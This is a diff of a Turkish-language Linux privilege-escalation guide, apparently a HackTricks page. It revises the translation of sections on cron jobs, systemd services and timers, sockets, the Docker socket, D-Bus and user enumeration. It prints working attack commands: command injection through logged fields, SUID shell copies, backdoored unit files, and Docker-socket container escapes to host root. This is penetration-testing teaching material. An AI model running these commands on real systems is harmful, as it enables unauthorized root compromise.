`$(/bin/bash -c 'id > /tmp/pwn')0` gibi bir değer önce substitute edilir (komut çalıştırılır), sonra kalan sayısal `0` aritmetikte kullanılır ve script hata olmadan devam eder. +- Neden çalışır: Bash'te genişletmeler şu sırayla gerçekleşir: parameter/variable expansion, command substitution, arithmetic expansion, sonra word splitting ve pathname expansion. Bu yüzden `$(/bin/bash -c 'id > /tmp/pwn')0` gibi bir değer önce substitute edilir (komut çalıştırılır), ardından kalan sayısal `0` aritmetik için kullanılır ve script hata vermeden devam eder. -- Tipik zafiyet örüntüsü: +- Tipik vulnerable pattern: ```bash #!/bin/bash # Example: parse a log and "sum" a count field coming from the log @@ -367,7 +367,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- İstismar: Parse edilen log'a saldırgan kontrollü metin yazdırın öyle ki sayısal görünen alan bir command substitution içersin ve bir rakamla bitsin. Komutunuzun stdout'a yazmadığından emin olun (veya çıktıyı yönlendirin) ki aritmetik geçerli kalsın. +- Sömürme: Parsed log'a attacker-controlled metin yazdırın, böylece sayısal gibi görünen alan bir command substitution içerir ve bir rakamla biter. Komutunuzun stdout'a yazmadığından emin olun (veya çıktıyı yönlendirin) ki aritmetik geçerli kalsın. ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -376,117 +376,117 @@ $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 ### Cron script overwriting and symlink -Eğer root tarafından çalıştırılan bir **cron script'ini değiştirebiliyorsanız**, çok kolay bir shell elde edebilirsiniz: +Eğer root tarafından çalıştırılan bir **cron script'ini değiştirebiliyorsanız**, çok kolay bir şekilde bir shell alabilirsiniz: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Eğer root tarafından çalıştırılan script bir **tam erişime sahip olduğunuz directory** kullanıyorsa, o folder'ı silmek ve **başka bir folder'a symlink oluşturmak** (sizin kontrolünüzdeki bir script'i sunmak için) faydalı olabilir. +Eğer root tarafından çalıştırılan script **tam erişiminiz olan bir directory** kullanıyorsa, o folder'ı silip kontrolünüzdeki bir scripti sunan başka bir yere işaret eden bir **symlink folder oluşturmak** işe yarayabilir. ```bash ln -d -s ``` -### Sık cron jobs +### Sık cron görevleri -Process'leri izleyerek her 1, 2 veya 5 dakikada bir çalıştırılan process'leri arayabilirsiniz. Belki bundan faydalanıp escalate privileges elde edebilirsiniz. +Süreçleri izleyerek her 1, 2 veya 5 dakikada bir çalıştırılan işlemleri tespit edebilirsiniz. Belki bundan faydalanıp escalate privileges elde edebilirsiniz. Örneğin, **1 dakika boyunca her 0.1s'de izle**, **en az çalıştırılan komutlara göre sırala** ve en çok çalıştırılan komutları silmek için şunu yapabilirsiniz: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Ayrıca kullanabilirsiniz** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (bu, başlayan her süreci izler ve listeler). +**Ayrıca kullanabilirsiniz** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (bu, başlayan her süreci izleyecek ve listeleyecektir). -### Görünmez cronjob'lar +### Görünmez cron jobs -Bir yoruma **bir carriage return ekleyerek** (yeni satır karakteri olmadan) cronjob oluşturmak mümkündür ve cronjob çalışacaktır. Örnek (carriage return karakterine dikkat): +Yorumdan sonra **carriage return koyarak** (yeni satır karakteri olmadan) bir cronjob oluşturmak mümkündür ve cron job çalışacaktır. Örnek (carriage return karakterine dikkat): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` -## Servisler +## Hizmetler ### Yazılabilir _.service_ dosyaları -Herhangi bir `.service` dosyasına yazıp yazamayacağınızı kontrol edin; yazabiliyorsanız, bunu **değiştirebilirsiniz** böylece servis **başlatıldığında**, **yeniden başlatıldığında** veya **durdurulduğunda** **backdoor**'unuz **çalıştırılır** (belki makinenin yeniden başlatılmasını beklemeniz gerekir).\ -Örneğin .service dosyasının içine **`ExecStart=/tmp/script.sh`** ile backdoor'unuzu oluşturun +Herhangi bir `.service` dosyasına yazıp yazamayacağını kontrol et; yazabiliyorsan, bunu **değiştirip** servisin **başlatıldığında**, **yeniden başlatıldığında** veya **durdurulduğunda** **backdoor**'unu **çalıştıracak** şekilde ayarlayabilirsin (belki makinenin yeniden başlatılmasını beklemen gerekir).\ +Örneğin backdoor'unu .service dosyasına **`ExecStart=/tmp/script.sh`** yazarak oluştur. -### Yazılabilir servis ikili dosyaları +### Yazılabilir servis binary'leri -Unutmayın ki servisler tarafından çalıştırılan ikili dosyalar üzerinde **yazma iznine sahipseniz**, bunları backdoors için değiştirebilirsiniz; böylece servisler yeniden çalıştırıldığında backdoors çalıştırılır. +Unutma: eğer **servisler tarafından çalıştırılan binary'lar üzerinde yazma iznine** sahipsen, bunları backdoor'lar için değiştirebilirsin; servisler yeniden yürütüldüğünde backdoor'lar çalıştırılacaktır. -### systemd PATH - Relative Paths +### systemd PATH - Göreli Yollar -**systemd** tarafından kullanılan PATH'i şu komutla görebilirsiniz: +systemd tarafından kullanılan PATH'i şu komutla görebilirsin: ```bash systemctl show-environment ``` -Eğer yolun herhangi bir klasörüne **write** yazabildiğinizi fark ederseniz, **escalate privileges** elde etme ihtimaliniz olabilir. Servis yapılandırma dosyalarında kullanılan **relative paths being used on service configurations** gibi öğeleri aramanız gerekir: +Eğer yolun herhangi bir klasörüne **yazabiliyorsanız**, **escalate privileges** yapabiliyor olabilirsiniz. Hizmet yapılandırma dosyalarında kullanılan **göreli yolları** aramanız gerekir, örneğin: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Sonra, yazma izniniz olan systemd PATH klasörü içine, **executable** ile **same name as the relative path binary** aynı ada sahip bir dosya oluşturun ve servis savunmasız eylemi (**Start**, **Stop**, **Reload**) gerçekleştirmesi istendiğinde, sizin **backdoor**'unuz çalıştırılacaktır (ayrıcalıksız kullanıcılar genellikle servisleri başlatamaz/durduramaz ama `sudo -l` kullanıp kullanamayacağınızı kontrol edin). +Sonra, yazma hakkınız olan systemd PATH klasörünün içine, göreli yol binary'si ile aynı ada sahip bir **executable** oluşturun ve servis hassas eylemi (**Start**, **Stop**, **Reload**) çalıştırması istendiğinde, sizin **backdoor**'unuz çalıştırılacaktır (ayrıcalıksız kullanıcılar genellikle servisleri başlatıp durduramaz fakat `sudo -l` kullanıp kullanamayacağınızı kontrol edin). -**Servisler hakkında daha fazla bilgi için `man systemd.service` komutuna bakın.** +**Learn more about services with `man systemd.service`.** ## **Zamanlayıcılar** -**Timers** are systemd unit files whose name ends in `**.timer**` that control `**.service**` files or events. **Timers** can be used as an alternative to cron as they have built-in support for calendar time events and monotonic time events and can be run asynchronously. +**Zamanlayıcılar** (Timers) adı `**.timer**` ile biten systemd unit dosyalarıdır ve `**.service**` dosyalarını veya olayları kontrol eder. **Zamanlayıcılar**, takvim zaman etkinlikleri ve monotonic zaman etkinlikleri için yerleşik destek sundukları ve eşzamansız olarak çalıştırılabildikleri için cron'a bir alternatif olarak kullanılabilir. Tüm zamanlayıcıları şu komutla listeleyebilirsiniz: ```bash systemctl list-timers --all ``` -### Yazılabilir zamanlayıcılar +### Yazılabilir timerlar -Bir timer'ı değiştirebiliyorsanız, var olan systemd.unit birimlerinden bazılarını (ör. bir `.service` veya `.target`) çalıştırmasını sağlayabilirsiniz. +Eğer bir timer'ı değiştirebiliyorsanız, mevcut systemd.unit öğelerinden bazılarını (ör. `.service` veya `.target`) çalıştırmasını sağlayabilirsiniz. ```bash Unit=backdoor.service ``` Dokümantasyonda Unit'in ne olduğu şöyle açıklanıyor: -> Zamanlayıcı sona erdiğinde etkinleştirilecek birim. Argüman, son eki ".timer" olmayan bir birim adıdır. Belirtilmezse, bu değer varsayılan olarak zamanlayıcı birimiyle aynı ada sahip, sadece son eki farklı olan bir servis olur. (Yukarıya bakınız.) Etkinleştirilen birim adı ile zamanlayıcı biriminin adı, son ek dışında aynı isimde olmaları tavsiye edilir. +> Bu timer sona erdiğinde etkinleştirilecek bir unit. Argüman, soneki ".timer" olmayan bir unit adıdır. Belirtilmezse, bu değer timer unit ile aynı ada sahip, soneki hariç bir service'e varsayılandır. (Yukarıya bakın.) Etkinleştirilen unit adı ile timer unit adının soneki hariç aynı olması önerilir. -Bu nedenle, bu izni kötüye kullanmak için şunlara ihtiyacınız olur: +Bu izni kötüye kullanmak için şunlara ihtiyacınız olur: -- Yazılabilir bir binary çalıştıran bazı systemd unit'leri (ör. `.service`) bulun -- Göreli bir yol (relative path) çalıştıran ve **systemd PATH** üzerinde **yazma ayrıcalıklarınızın** olduğu bir systemd unit bulun (o executable'ı taklit etmek için) +- Bir systemd unit (ör. `.service`) bulun ki **yazılabilir bir binary çalıştırıyor** +- **göreli bir yol çalıştıran** bir systemd unit bulun ve **systemd PATH** üzerinde **yazma ayrıcalıklarına** sahip olun (o yürütülebilir dosyayı taklit etmek için) -**Zamanlayıcılar hakkında daha fazla bilgi için `man systemd.timer`'ı inceleyin.** +**Learn more about timers with `man systemd.timer`.** -### **Zamanlayıcıyı Etkinleştirme** +### **Timer'ı Etkinleştirme** -Bir zamanlayıcıyı etkinleştirmek için root ayrıcalıklarına sahip olmanız ve şu komutu çalıştırmanız gerekir: +Bir timer'ı etkinleştirmek için root ayrıcalıklarına sahip olmanız ve şu komutu çalıştırmanız gerekir: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Not: **timer**, `/etc/systemd/system/.wants/.timer` konumunda ona bir symlink oluşturarak **etkinleştirilir** +Dikkat: **timer**, `/etc/systemd/system/.wants/.timer` üzerine ona bir symlink oluşturarak **etkinleştirilir** -## Soketler +## Sockets -Unix Domain Sockets (UDS), istemci-sunucu modellerinde aynı veya farklı makinelerde **işlem iletişimi** sağlar. Bilgisayarlar arası iletişim için standart Unix dosya tanımlayıcılarını kullanırlar ve `.socket` dosyaları aracılığıyla yapılandırılırlar. +Unix Domain Sockets (UDS) aynı veya farklı makinelerde client-server modellerinde **process communication** sağlar. AF_UNIX soket dosyasının yolu, dinlenecek IPv4/6 ve/veya port numarası gibi değerler için standart Unix descriptor dosyalarını kullanırlar ve `.socket` dosyaları aracılığıyla yapılandırılırlar. -Soketler `.socket` dosyaları kullanılarak yapılandırılabilir. +Sockets `.socket` dosyaları kullanılarak yapılandırılabilir. -**`man systemd.socket` ile soketler hakkında daha fazla bilgi edinin.** Bu dosya içinde birkaç ilginç parametre yapılandırılabilir: +**Learn more about sockets with `man systemd.socket`.** Bu dosya içinde yapılandırılabilecek birkaç ilginç parametre vardır: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Bu seçenekler farklıdır ancak özetle **soketin nerede dinleyeceğini belirtmek** için kullanılır (AF_UNIX soket dosyasının yolu, dinlenecek IPv4/6 ve/veya port numarası, vb.) -- `Accept`: Booleansal bir argüman alır. Eğer **true** ise, **her gelen bağlantı için bir service instance başlatılır** ve yalnızca bağlantı soketi ona aktarılır. Eğer **false** ise, tüm dinleme soketleri doğrudan **başlatılan service unit'a aktarılır**, ve tüm bağlantılar için yalnızca bir service unit oluşturulur. Bu değer, tek bir service unit'un koşulsuz olarak tüm gelen trafiği yönettiği datagram soketleri ve FIFO'lar için göz ardı edilir. **Varsayılan olarak false**. Performans nedenleriyle, yeni daemon'ların yalnızca `Accept=no` için uygun şekilde yazılması tavsiye edilir. -- `ExecStartPre`, `ExecStartPost`: Bir veya daha fazla komut satırı alır; bunlar sırasıyla dinleme **sockets**/FIFO'lar **oluşturulup** ve bağlanmadan **önce** veya **sonra** **çalıştırılır**. Komut satırının ilk belirteci mutlak bir dosya adı olmalı, ardından işlem için argümanlar gelir. -- `ExecStopPre`, `ExecStopPost`: Dinleme **sockets**/FIFO'lar **kapatılıp** ve kaldırılmadan **önce** veya **sonra** **çalıştırılan** ek komutlardır. -- `Service`: **gelen trafik** üzerinde **etkinleştirilecek** service unit adını belirtir. Bu ayar yalnızca Accept=no olan soketler için izinlidir. Varsayılan olarak, soketle aynı ada sahip (sonek değiştirilmiş) service kullanılır. Çoğu durumda bu seçeneği kullanmak gerekli değildir. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Bu seçenekler farklıdır fakat özet olarak **nerede dinleneceğini belirtmek** için kullanılır (AF_UNIX soket dosyasının yolu, dinlenecek IPv4/6 ve/veya port numarası vb.) +- `Accept`: Boolean bir argüman alır. Eğer **true** ise, **her gelen bağlantı için bir service instance başlatılır** ve sadece bağlantı soketi ona geçirilir. Eğer **false** ise, tüm dinleme soketleri **başlatılan service unit'ine geçirilir** ve tüm bağlantılar için yalnızca bir service unit başlatılır. Bu değer, datagram soketleri ve FIFOs için göz ardı edilir; bu türlerde tek bir service unit koşulsuz olarak tüm gelen trafiği işler. **Defaults to false**. Performans nedenleriyle, yeni daemon'ları yalnızca `Accept=no` için uygun bir şekilde yazmak önerilir. +- `ExecStartPre`, `ExecStartPost`: Bir veya daha fazla komut satırı alır; bunlar dinleme **sockets**/FIFOs **oluşturulup** bağlanmadan önce veya sonra sırasıyla **çalıştırılır**. Komut satırının ilk token'ı mutlak bir dosya adı olmalıdır, ardından proses için argümanlar gelir. +- `ExecStopPre`, `ExecStopPost`: Dinleme **sockets**/FIFOs **kapatılmadan** ve kaldırılmadan önce veya sonra **çalıştırılan** ek **komutlar**. +- `Service`: Gelen trafik üzerinde **etkinleştirilecek** olan **service** unit adını belirtir. Bu ayar yalnızca `Accept=no` olan soketler için izinlidir. Varsayılan olarak socket ile aynı ada sahip (suffix değiştirilmiş) service olur. Çoğu durumda bu seçeneği kullanmak gerekli değildir. -### Yazılabilir .socket dosyaları +### Writable .socket files -Eğer bir **yazılabilir** `.socket` dosyası bulursanız, `[Socket]` bölümünün başına `ExecStartPre=/home/kali/sys/backdoor` gibi bir şey **ekleyebilir** ve backdoor, soket oluşturulmadan önce çalıştırılacaktır. Bu yüzden **muhtemelen makinenin yeniden başlatılmasını beklemeniz gerekecektir.**\ -_Sistemin bu socket dosyası yapılandırmasını kullanıyor olması gerektiğini unutmayın; aksi takdirde backdoor çalıştırılmaz_ +Eğer bir **yazılabilir** `.socket` dosyası bulursanız, `[Socket]` bölümünün başına `ExecStartPre=/home/kali/sys/backdoor` gibi bir şey **ekleyebilirsiniz** ve backdoor, socket oluşturulmadan önce çalıştırılacaktır. Bu nedenle, **muhtemelen makinenin yeniden başlatılmasını beklemeniz gerekir.**\ +_Not that the system must be using that socket file configuration or the backdoor won't be executed_ -### Yazılabilir soketler +### Writable sockets -Eğer herhangi bir **yazılabilir socket** tespit ederseniz (_şu an burada yapılandırma `.socket` dosyalarından değil, Unix Sockets'tan bahsediyoruz_), o soket ile **iletişim kurabilir** ve belki bir zafiyeti keşfedip istismar edebilirsiniz. +Eğer herhangi bir **yazılabilir socket** tespit ederseniz (_şimdi config `.socket` dosyalarından değil, Unix Sockets'ten bahsediyoruz_), o socket ile **iletişim kurabilir** ve belki bir zafiyetten faydalanabilirsiniz. -### Unix Soketlerini Listeleme +### Enumerate Unix Sockets ```bash netstat -a -p --unix ``` @@ -499,7 +499,7 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket #apt-get install socat socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type ``` -**Sömürme örneği:** +**Exploitation example:** {{#ref}} @@ -508,36 +508,36 @@ socket-command-injection.md ### HTTP sockets -Bazı **sockets listening for HTTP** requests olabileceğini unutmayın (_I'm not talking about .socket files but the files acting as unix sockets_). Bunu şu komutla kontrol edebilirsiniz: +HTTP isteklerini dinleyen bazı **sockets listening for HTTP** olabilir (_Bahsettiğim .socket files değil, unix sockets olarak davranan dosyalar_). Bunu şu komutla kontrol edebilirsiniz: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Eğer soket **responds with an HTTP** request ise, onunla **communicate** edebilir ve belki de bazı **exploit some vulnerability** gerçekleştirebilirsiniz. +Eğer socket **HTTP isteğine yanıt veriyorsa**, onunla **iletişim kurabilir** ve belki de bazı güvenlik açıklarını **exploit** edebilirsiniz. ### Yazılabilir Docker Socket -The Docker socket, often found at `/var/run/docker.sock`, is a critical file that should be secured. Varsayılan olarak, `root` kullanıcısı ve `docker` grubunun üyeleri tarafından yazılabilir durumdadır. Bu sokete yazma erişimine sahip olmak privilege escalation'a yol açabilir. Aşağıda bunun nasıl yapılabileceğinin ve Docker CLI mevcut değilse alternatif yöntemlerin bir dökümü bulunmaktadır. +Docker socket, genellikle `/var/run/docker.sock` konumunda bulunan kritik bir dosyadır ve güvenli hale getirilmelidir. Varsayılan olarak, `root` kullanıcısı ve `docker` grubunun üyeleri tarafından yazılabilir. Bu socket'e yazma erişimi sahibi olmak privilege escalation'a yol açabilir. Aşağıda bunun nasıl yapılabileceği ve Docker CLI kullanılabilir değilse alternatif yöntemlerin bir dökümü bulunmaktadır. #### **Privilege Escalation with Docker CLI** -Docker socket'e yazma erişiminiz varsa, aşağıdaki komutları kullanarak escalate privileges yapabilirsiniz: +Eğer Docker socket'e yazma erişiminiz varsa, aşağıdaki komutları kullanarak privilege escalation gerçekleştirebilirsiniz: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Bu komutlar, host'un dosya sistemine root düzeyinde erişimi olan bir container çalıştırmanızı sağlar. +Bu komutlar, ana makinenin dosya sistemine root düzeyinde erişime sahip bir container çalıştırmanızı sağlar. -#### **Docker API'yi Doğrudan Kullanma** +#### **Docker API'sini Doğrudan Kullanma** -Docker CLI mevcut değilse, Docker socket yine de Docker API ve `curl` komutları kullanılarak manipüle edilebilir. +Docker CLI mevcut olmadığında, Docker socket hala Docker API ve `curl` komutları kullanılarak manipüle edilebilir. -1. **List Docker Images:** Kullanılabilir image'ların listesini alın. +1. **Docker Görüntülerini Listele:** Kullanılabilir görüntülerin listesini alın. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** Host sisteminin root dizinini mount eden bir container oluşturmak için bir istek gönderin. +2. **Create a Container:** Ana sistemin root dizinini mount eden bir container oluşturmak için istek gönderin. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create @@ -549,7 +549,7 @@ Yeni oluşturulan container'ı başlatın: curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** `socat` kullanarak container'a bağlantı kurun, bu sayede içinde komut çalıştırabilirsiniz. +3. **Container'a Bağlan:** `socat` kullanarak container ile bir bağlantı kurun; bu, içinde komut çalıştırmanıza olanak sağlar. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -559,13 +559,13 @@ Connection: Upgrade Upgrade: tcp ``` -`socat` bağlantısını kurduktan sonra, host'un dosya sistemine root düzeyinde erişimle doğrudan container içinde komut çalıştırabilirsiniz. +`socat` bağlantısını kurduktan sonra, ana makinenin dosya sistemine root düzeyinde erişimle container içinde doğrudan komut çalıştırabilirsiniz. ### Diğerleri -docker socket üzerinde yazma izinleriniz varsa çünkü **inside the group `docker`** içindeyseniz [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Eğer [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +docker socket üzerinde yazma izniniz varsa çünkü **inside the group `docker`** grubunun içindesiniz [**ayrıca ayrıcalıkları yükseltmenin daha fazla yolu**](interesting-groups-linux-pe/index.html#docker-group). Eğer [**docker API bir portta dinliyorsa**](../../network-services-pentesting/2375-pentesting-docker.md#compromising), onu da ele geçirebilirsiniz. -Check **more ways to break out from docker or abuse it to escalate privileges** in: +Docker'dan çıkmak veya ayrıcalıkları yükseltmek için onu kötüye kullanmanın **daha fazla yolunu** şu bölümde inceleyin: {{#ref}} @@ -574,7 +574,7 @@ docker-security/ ## Containerd (ctr) privilege escalation -Eğer **`ctr`** komutunu kullanabildiğinizi görürseniz, aşağıdaki sayfayı okuyun çünkü **you may be able to abuse it to escalate privileges**: +Eğer **`ctr`** komutunu kullanabildiğinizi görürseniz, aşağıdaki sayfayı okuyun çünkü bunu ayrıcalıkları yükseltmek için kötüye kullanma imkanınız olabilir: {{#ref}} @@ -583,7 +583,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** privilege escalation -Eğer **`runc`** komutunu kullanabildiğinizi görürseniz, aşağıdaki sayfayı okuyun çünkü **you may be able to abuse it to escalate privileges**: +Eğer **`runc`** komutunu kullanabildiğinizi görürseniz, aşağıdaki sayfayı okuyun çünkü bunu ayrıcalıkları yükseltmek için kötüye kullanma imkanınız olabilir: {{#ref}} @@ -592,15 +592,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus, modern Linux sistemi göz önünde bulundurularak tasarlanmış, uygulamaların verimli bir şekilde etkileşim kurup veri paylaşmasını sağlayan sofistike bir **inter-Process Communication (IPC) system**dür. Farklı uygulama iletişim biçimlerine yönelik sağlam bir çatı sunar. +D-Bus, uygulamaların verimli şekilde etkileşimde bulunmasını ve veri paylaşmasını sağlayan gelişmiş bir inter-Process Communication (IPC) sistemidir. Modern Linux sistemi dikkate alınarak tasarlanmış olup, farklı uygulama iletişim biçimleri için sağlam bir çerçeve sunar. -Sistem, süreçler arası veri alışverişini geliştiren temel IPC'yi destekleyerek **enhanced UNIX domain sockets** benzeri bir işlevsellik sağlar. Ayrıca olay veya sinyal yayınlamaya yardımcı olarak sistem bileşenlerinin entegrasyonunu kolaylaştırır — örneğin bir Bluetooth daemon'undan gelen çağrı sinyali bir müzik oynatıcısını sessize aldırabilir. Ayrıca D-Bus, uygulamalar arasında servis taleplerini ve yöntem çağrılarını basitleştiren bir remote object system destekler; bu, geleneksel olarak karmaşık olan süreçleri kolaylaştırır. +Sistem çok yönlüdür; süreçler arasındaki veri alışverişini artıran temel IPC'yi destekler ve bu, **enhanced UNIX domain sockets**'ı andırır. Ayrıca olayların veya sinyallerin yayınlanmasına yardımcı olur ve sistem bileşenleri arasında sorunsuz bir entegrasyonu teşvik eder. Örneğin, bir Bluetooth daemon'undan gelen gelen çağrı sinyali, bir müzik çalarını sessize almayı tetikleyerek kullanıcı deneyimini iyileştirebilir. Ayrıca D-Bus, uzak nesne sistemini destekleyerek uygulamalar arasındaki servis taleplerini ve yöntem çağrılarını basitleştirir; geleneksel olarak karmaşık olan süreçleri kolaylaştırır. -D-Bus, bir **allow/deny model**i üzerinde çalışır; mesaj izinlerini (method calls, signal emissions, vb.) eşleşen politika kurallarının kümülatif etkisine göre yönetir. Bu politikalar bus ile etkileşimleri belirler ve bu izinlerin kötüye kullanılması yoluyla privilege escalation'a izin verebilir. +D-Bus, eşleşen politika kurallarının kümülatif etkisine göre mesaj izinlerini (yöntem çağrıları, sinyal yayınları vb.) yöneten bir **allow/deny model** üzerinde çalışır. Bu politikalar bus ile etkileşimleri belirtir ve bu izinlerin kötüye kullanılması yoluyla ayrıcalık yükseltmeye olanak tanıyabilir. -Bir örnek politika `/etc/dbus-1/system.d/wpa_supplicant.conf` içinde verilmiştir; bu örnek, root kullanıcısına `fi.w1.wpa_supplicant1`'e sahip olma, ona gönderme ve ondan mesaj alma izinlerini detaylandırır. +Böyle bir politikaya `/etc/dbus-1/system.d/wpa_supplicant.conf` içinde bir örnek verilmiştir; bu örnek, root kullanıcısının `fi.w1.wpa_supplicant1`'i sahiplenme, ona gönderme ve ondan alma izinlerini detaylandırır. -Kullanıcı veya grup belirtilmemiş politikalar evrensel olarak uygulanırken, "default" context politikaları diğer özel politikalar tarafından kapsanmayan herkese uygulanır. +Belirtilmiş bir kullanıcı veya grup olmayan politikalar evrensel olarak uygulanır; oysa "default" bağlam politikaları diğer belirli politikalar tarafından kapsanmayan herkese uygulanır. ```xml @@ -609,7 +609,7 @@ Kullanıcı veya grup belirtilmemiş politikalar evrensel olarak uygulanırken, ``` -**D-Bus iletişimini enumerate etmeyi ve exploit etmeyi burada öğrenin:** +**D-Bus iletişimini nasıl enumerate edip exploit edeceğinizi burada öğrenin:** {{#ref}} @@ -618,7 +618,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Ağ** -Ağı enumerate etmek ve makinenin konumunu belirlemek her zaman ilgi çekicidir. +Ağda enumerate yapmak ve makinenin konumunu belirlemek her zaman ilginçtir. ### Genel enumeration ```bash @@ -645,22 +645,22 @@ lsof -i ``` ### Open ports -Erişim sağlamadan önce daha önce etkileşim kuramadığınız makinede çalışan ağ servislerini her zaman kontrol edin: +Erişmeden önce etkileşim kuramadığınız makinede çalışan ağ servislerini her zaman kontrol edin: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Trafiği sniff edip edemeyeceğinizi kontrol edin. Eğer edebiliyorsanız, bazı credentials elde edebilirsiniz. +Trafiği sniff edip edemeyeceğinizi kontrol edin. Eğer yapabiliyorsanız, bazı credentials yakalayabilirsiniz. ``` timeout 1 tcpdump ``` -## Kullanıcılar +## Users -### Genel Keşif +### Generic Enumeration -**Kim** olduğunuzu, hangi **ayrıcalıklara** sahip olduğunuzu, sistemde hangi **kullanıcılar** olduğunu, hangilerinin **giriş** yapabildiğini ve hangilerinin **root ayrıcalıklarına** sahip olduğunu kontrol edin: +Kim olduğunu, hangi **privileges**'e sahip olduğunu, sistemlerde hangi **users**'ın bulunduğunu, hangilerinin **login** yapabildiğini ve hangilerinin **root privileges**'e sahip olduğunu kontrol et: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -684,12 +684,12 @@ gpg --list-keys 2>/dev/null ``` ### Big UID -Bazı Linux sürümleri, **UID > INT_MAX** olan kullanıcıların ayrıcalıkları yükseltmesine izin veren bir hatadan etkilenmiştir. Daha fazla bilgi: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) ve [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**İstismar etmek için kullanın:** **`systemd-run -t /bin/bash`** +Bazı Linux sürümleri, **UID > INT_MAX** olan kullanıcıların ayrıcalıkları yükseltmesine izin veren bir hatadan etkilendi. Daha fazla bilgi: [burada](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [burada](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) ve [burada](https://twitter.com/paragonsec/status/1071152249529884674).\ +**Bunu istismar edin** kullanarak: **`systemd-run -t /bin/bash`** ### Gruplar -Root ayrıcalıkları sağlayabilecek bir grubun **üyesi** olup olmadığınızı kontrol edin: +root ayrıcalıkları sağlayabilecek bir **grubun üyesi olup olmadığınızı** kontrol edin: {{#ref}} @@ -698,7 +698,7 @@ interesting-groups-linux-pe/ ### Pano -Mümkündürse panonun içinde ilginç bir şey olup olmadığını kontrol edin +Pano içinde ilginç bir şey olup olmadığını kontrol edin (mümkünse) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -715,27 +715,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### Bilinen parolalar -Eğer ortamın **herhangi bir parolasını biliyorsanız**, parolayı kullanarak **her kullanıcı** olarak giriş yapmayı deneyin. +Ortamın **herhangi bir parolasını biliyorsanız**, bu parolayı kullanarak **her kullanıcı olarak giriş yapmayı deneyin**. ### Su Brute -Eğer çok fazla gürültü çıkarmayı umursamıyorsanız ve bilgisayarda `su` ve `timeout` ikili dosyaları bulunuyorsa, [su-bruteforce](https://github.com/carlospolop/su-bruteforce) ile kullanıcıya brute-force yapmayı deneyebilirsiniz.\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) `-a` parametresi ile de kullanıcıları brute-force etmeye çalışır. +Eğer çok fazla gürültü çıkarmayı umursamıyorsanız ve `su` ile `timeout` ikili dosyaları bilgisayarda mevcutsa, [su-bruteforce](https://github.com/carlospolop/su-bruteforce) kullanarak kullanıcıyı brute-force etmeyi deneyebilirsiniz.\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) `-a` parametresiyle de kullanıcıları brute-force etmeye çalışır. -## Yazılabilir $PATH kötüye kullanımları +## Yazılabilir PATH istismarları ### $PATH -Eğer **$PATH içindeki bazı klasörlerin içine yazabiliyorsanız** , farklı bir kullanıcı (tercihen root) tarafından çalıştırılacak bir komutun adıyla **yazılabilir klasörün içine bir backdoor oluşturmak** suretiyle yetki yükseltmesi elde edebilirsiniz; bunun için komutun **$PATH'te yazılabilir klasörünüzden önce yer alan bir klasörden yüklenmemesi** gerekir. +Eğer $PATH içindeki 